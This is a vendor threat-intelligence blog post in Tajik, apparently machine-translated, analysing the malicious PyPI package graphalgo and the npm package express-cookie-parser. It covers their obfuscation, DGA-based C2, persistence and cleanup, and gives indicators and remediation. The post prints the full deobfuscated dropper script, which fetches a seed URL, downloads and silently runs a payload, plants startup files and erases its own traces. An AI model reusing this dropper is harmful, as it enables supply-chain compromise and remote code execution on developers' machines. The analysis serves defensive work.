Ҳамлаҳои занҷираи таъминоти нармафзор 2025 - бастаҳои зараровар - бастаҳои зараровари python - бастаҳои зараровари npm

Назари наздиктар ба ҳамлаҳо ба занҷираи таъминоти нармафзор дар соли 2025: муқоисаи маъракаҳои PyPI ва npm

Ширкати Xygeni ба наздикӣ як намунаи нигаронкунандаро дар манзараи ҳамлаҳои занҷираи таъминоти нармафзор дар соли 2025 мушоҳида кард., дар байни ду менеҷери маъмули бастаҳо пайдо мешавад: PyPI ва дандҲамчун як қисми кӯшишҳои доимии мо оид ба иктишофи таҳдидҳо,Огоҳии барвақтии нармафзори зараровари Xygeni (MEW) абзор як мисоли фарқкунанда, вале аз ҷиҳати методологӣ монандро аз бастаи зараровар, ки қаблан ба феҳристи дигар бор карда шуда буд, муайян кард. Ин парванда нишон медиҳад, ки чӣ гуна омилҳои таҳдид усулҳои ҳамларо дар саросари экосистемаҳо таҳаввул медиҳанд ва аз нав истифода мебаранд, бахусус тавассути бастаҳои зараровари Python ва бастаҳои зараровари npm, ки хатари ворид шудани бастаҳои зарароварро ба занҷирҳои таъминоти манбаъҳои кушода зиёд мекунад.

MEW-и Xygeni: Муайян кардани монандӣ

Асбоби MEW-и Xygeni барои муайян ва қайд кардани бастаҳои зараровар, бахусус онҳое, ки бо ҳамлаҳои занҷираи таъминоти нармафзор дар соли 2025 алоқаманданд, ба маҳзи нашр шуданашон дар феҳристҳои манбаъҳои кушода, тарҳрезӣ шудааст. Он тавассути таҳлили бастаҳои нав барои рафтори шубҳанок кор мекунад.

Дар ин ҳолат, он ду нафарро муайян кард, бастаҳои зараровари Python (graphalgo дар PyPI) ва бастаҳои зараровари npm (express-cookie-parser дар дақиқаи npm).

Бастаҳои зараровари Python ва npm дар ҳамлаҳои занҷираи таъминоти нармафзор (2025)

Биёед хусусиятҳои муштаракеро, ки огоҳиҳои моро ба вуҷуд овардаанд, омӯзем:

Типосквотинг

Ҳардуи онҳо кӯшиш карданд, ки бастаҳои маъмули мавҷударо тақлид кунанд.

  • графалго (PyPI): "Бастаи Python барои эҷод ва коркарди графикҳо ва шабакаҳо."Аз ҷониби корбаре бо номи «ларритех» 13 июни соли 2025, ин баста худро ҳамчун алтернативаи PyPi ба лоиҳаи аслии ғайризараровари graphalgo, ки баъдтар graphdict номгузорӣ шуд, муаррифӣ кард.
  • таҳлилгари экспресс-куки (npm)Ин баста бастаи маъруфи куки-парсерро тақлид кард, ҳатто онро инъикос мекард README.md. Чунин тақлид як тактикаи классикӣ барои истифода аз эътимоди мавҷуда аст.

Нофаҳмоӣ ҳамчун хати аввали дифоъ

Ҳарду баста рамзи зараровари худро дар файлҳои аслӣ печида карданд. Барои графалго, рамзи печида дар дохили он пайдо шуд /utils/load_libraries.py. Дар мавриди таҳлилгари экспресс-куки, cookie-loader.min.js боркаши норавшанро дар бар мегирифт.

Ин қабати ибтидоии нофаҳмоӣ одатан барои монеъ шудан ба санҷиши тасодуфӣ ва таҳлили статикӣ истифода мешавад. Нофаҳмоӣ хеле содда буд: фишурдани такрории ZLib ва рамзгузории Base64. Ин намуди нофаҳмоӣ ба таври возеҳ нишон медиҳад, ки нармафзор кӯшиш мекунад рафтори худро пинҳон кунад. Дар баробари дигар далелҳо, ин ба Xygeni MEW имкон дод, ки бастаҳоро ҳамчун нармафзори эҳтимолии зараровар тасниф кунад. Дар марҳилаи тасдиқ, баррасикунандагони мо фавран скрипти деобфускатсияро омода карданд, ки марҳилаи dropper-и зарароварро ошкор кард.

Интиқоли борҳои бисёрмарҳилавӣ ва нуқтаи ибтидоии муштарак

Ҳарду баста ҳамчун ибтидоӣ кор мекарданд "кашолакунандагон", заминаро барои бори воқеии муфид фароҳам меорад. Онҳо як берунаи муштарак доштанд"тухм"URL-и файл:"
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Ин файли тухмии беруна нишондиҳандаи қавии як омили муштараки таҳдид аст. Ҷолиб он аст, ки мундариҷаи ин файли тухмӣ ба назар тағирёбандаҳои оддии муҳит (масалан, JWT_SECRET, PORT) мебошанд, ки эҳтимолан санҷиши функсияи воқеии онро гумроҳ мекунанд.

Қарори динамикии C2 бо DGA

Як тактикаи мураккабе, ки дар ин бастаҳои зараровар мушоҳида мешавад, истифодаи Алгоритми Насли Домен (DGA) барои ҳалли динамикии сервери Фармондеҳӣ ва Идоракунӣ (C2) мебошад. Ин усул, ки аксар вақт дар ҳамлаҳои пешрафтаи занҷираи таъминоти нармафзор дар соли 2025 дида мешавад, ба хэши SHA256, ки аз мундариҷаи файли тухмӣ гирифта шудааст, дар якҷоягӣ бо дигар арзишҳои рамзгузоришуда такя мекунад. Бо ин кор, инфрасохтори C2 зуд-зуд тағйир меёбад, ки рӯйхати сиёҳи анъанавиро хеле камтар самаранок мегардонад. Дар ин ҳолат, варианти npm арзиши собитро истифода мебурд 496AAC7E ҳамчун як қисми мантиқи DGA-и он.

Таъмини устуворӣ

Ҳарду ҳамлагар кӯшиш карданд, ки дар системаҳои зарардида ҳузури доимӣ барқарор кунанд. Стратегияи онҳо аз партофтани файл иборат буд, startup.py (барои PyPi) ё startup.js (барои npm), ба феҳристҳои умумии маълумоти корбарони Google Chrome дар системаҳои гуногуни амалиётӣ (Windows, Linux, macOS).

Тозакунии пас аз иҷрои вазифа

Барои кам кардани пайҳо, ҳарду скрипти зараровар амалиёти тозакуниро анҷом доданд. Ин аз нест кардани файлҳои ибтидоии dropper-и онҳо иборат буд (load_libraries.py, cookie-loader.min.js) ва тағир додани файлҳои бастаҳои қонунӣ (__init__.py, index.js) барои нест кардани истинодҳо ба ҷузъҳои ҳоло нестшуда.

Нишондиҳандаҳои созиш дар бастаҳои зараровари Python ва npm

  • Бастаи PyPI: graphalgo (нашр аз ҷониби larrytech, 13 июни соли 2025)
  • Бастаи npm: экспресс-куки-таҳлилгар (махсусан версияи 1.4.12)
  • Дастрасӣ ба URL-и муштараки тухмӣ

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Номҳои файлҳои доимӣ: startup.py (Python) startup.js (JavaScript)
  • Роҳҳои доимии маъмулӣ (вобаста ба системаи амалиётӣ): Дар дохили феҳристҳои маълумоти корбарони Google Chrome (масалан, AppData\Local\Google\Chrome\UserData\Scripts\ дар Windows, ~/.config/google-chrome/Scripts/ дар Linux ва ғайра).

Чӣ гуна аз бастаҳои зараровар дар ҳамлаҳои занҷираи таъминоти нармафзор дар соли 2025 муҳофизат кардан мумкин аст

Усули тавсияшуда барои таҳиягарон

Ин ҳодиса ҳамчун як таҳқиқоти арзишманд дар манзараи таҳаввулёбандаи таҳдидҳои ҳамлаҳои занҷираи таъминоти нармафзор дар соли 2025 хизмат мекунад. Он нишон медиҳад, ки чӣ гуна бастаҳои зараровари Python ва бастаҳои зараровари npm метавонанд ба экосистемаҳои боэътимод ворид шаванд ва аксар вақт то дер шудан аз ошкоркунӣ канорагирӣ кунанд. Аз ин рӯ, ошкоркунии барвақт, абзорҳои интеллектуалӣ ва гигиенаи фаъоли система ҳоло қисмҳои муҳими ҳама гуна ҷараёни кори амни DevOps мебошанд. Ба таҳиягарон тавсия дода мешавад, ки нуктаҳои зеринро ба назар гиранд:

Шарҳи вобастагӣ

Агар лоиҳаҳои шумо инҳоро дар бар гиранд графалго or таҳлилгари экспресс-куки, оқилона мебуд, ки ба хориҷ кардани онҳо идома диҳед.

  • Барои PyPI: pip uninstall graphalgo
  • Барои npm: npm uninstall express-cookie-parser

Гигиенаи система

Анҷом додани сканкунии ҳамаҷонибаи системаро баррасӣ кунед. Инчунин тавсия дода мешавад, ки роҳҳои маъмулии феҳристи маълумоти корбарии Chrome-ро барои ҳама гуна ҳолатҳои ғайричашмдошт дастӣ тафтиш кунед. startup.py or startup.js файлҳо.

Тадбирҳои пешгирикунандаи амният

  • Арзёбии вобастагиҳои нав: Барои арзёбии ҳамаҷонибаи бастаҳои нав пеш аз ҳамгироӣ, тартибе муқаррар кунед, ки ба бастаҳои ношинос тамаркуз кунед.
  • Воситаҳои амниятиро муттаҳид кунедАсбобҳо ба монанди MEW-и Xygeni, дар баробари дигар таҳлили таркиби нармафзор (SCA) роҳҳои ҳалли масъала, метавонанд бо муайян кардани рафторҳо ва осебпазириҳои шубҳанок як қабати муҳими дифоъро таъмин кунанд.
  • Имтиёзи камтаринФаъолияти муҳитҳои таҳиякунанда бо принсипи камтарин имтиёз метавонад ба маҳдуд кардани таъсири эҳтимолии созиш мусоидат кунад.
  • Огоҳии шабакаНазорати трафики шабакавии содиротӣ барои пайвастҳои ғайриоддӣ баъзан метавонад алоқаҳои C2-и тавлидшудаи DGA-ро ошкор кунад.

Унсурҳои асосии load_libraries.py (аз graphalgo)

				
					import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])


				
			
  • download_remote_content(): Гирифтани файлҳоро аз URL-ҳои муайяншуда идора мекунад.
  • run_process()Скриптҳои берунаи Python-ро ба таври ҷудогона иҷро мекунад ва баромадро барои нигоҳ доштани махфият пахш мекунад.
  • get_output_file_path(): Макони идеалии системаро барои файли доимии startup.py муайян мекунад.
  • remove_self()Тозакунии пас аз иҷрои файлҳои зараровари аввалия ва тағиротҳои бастаро ташкил медиҳад.
  • simple_shift_encrypt() / simple_shift_decrypt()Функсияҳои криптографии фармоишӣ барои пинҳон кардани каналҳои алоқа, ки барои татбиқи DGA муҳиманд.
  • load_libraries()Функсияи марказӣ, ки тамоми раванди бисёрмарҳиларо аз зеркашии аввалия то иҷрои ниҳоӣ ва тозакунии бор ҳамоҳанг мекунад.

Охир

Мисли дигар бастаҳои эҳтимолан зараровар, ки аз ҷониби MEW муайян карда шудаанд, девори оташи вобастагӣ фавран корбаронеро, ки ин бастаҳои зарароварро дар вобастагиҳои худ дохил мекарданд, муҳофизат мекард. Пас аз тасдиқ, мо тартиби огоҳкуниро барои ҳарду феҳрист риоя кардем, ки пас аз баррасӣ ҳарду бастаро нест карданд.

асбобҳои sca-tools-нармафзор-таҳлили таркиб
Хатарҳои нармафзори худро афзалият диҳед, ислоҳ кунед ва бехатар созед
Ҳисоби ройгони худро дастрас кунед.
Корти кредитӣ лозим нест.

Таҳия ва интиқоли нармафзори худро таъмин кунед

бо маҷмӯи маҳсулоти Xygeni